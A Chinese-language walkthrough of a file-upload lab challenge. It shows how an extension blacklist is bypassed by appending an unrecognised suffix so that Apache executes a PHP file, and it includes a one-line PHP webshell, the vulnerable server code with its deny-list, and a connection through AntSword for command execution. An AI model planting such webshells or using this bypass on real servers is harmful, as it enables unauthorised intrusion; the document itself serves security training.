页面:
我们看到有一个图片上传功能。
我们上传一个png文件发现能够成功上传,那其他文件呢,如php文件。
我们看一下是否能上传一个php文件:
php文件内容:
@eval($_REQUEST[])? //一句话木马
phpinfo(); //查看php的版本信息
?>
点击上传:
显示文件类型不允许上传。
我们使用burpsuite抓一下包,修改一下文件类型为image/png
:
我们发现还是不能上传。
所以我们猜测此处对后缀名做了黑名单或者白名单过滤,如何查看是黑名单过滤还是白名单过滤呢?我们可以在php文件后面随便加一个后缀(随便写):
例如我们这里写的是info.php.ghui
:
我们发现文件成功上传,此时我们可以确定后缀名做了黑名单策略。
查看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以看到代码中做了一个后缀名的黑名单过滤。
我们在现在查看一下我们刚刚上传上去的文件,上传的文件路径在upload
下:
我们点击查看一下:
发现phpinfo();
成功执行了,这是因为后端识别不出来我们加的.ghui
后缀名,所以就会舍弃.ghui
,那么就变成了info.php
,所以php代码就成功执行了。
那么是不是一句话木马也执行了呢?
我们使用蚁剑进行连接:
我们就可以打开虚拟终端执行命令了:
完毕!!!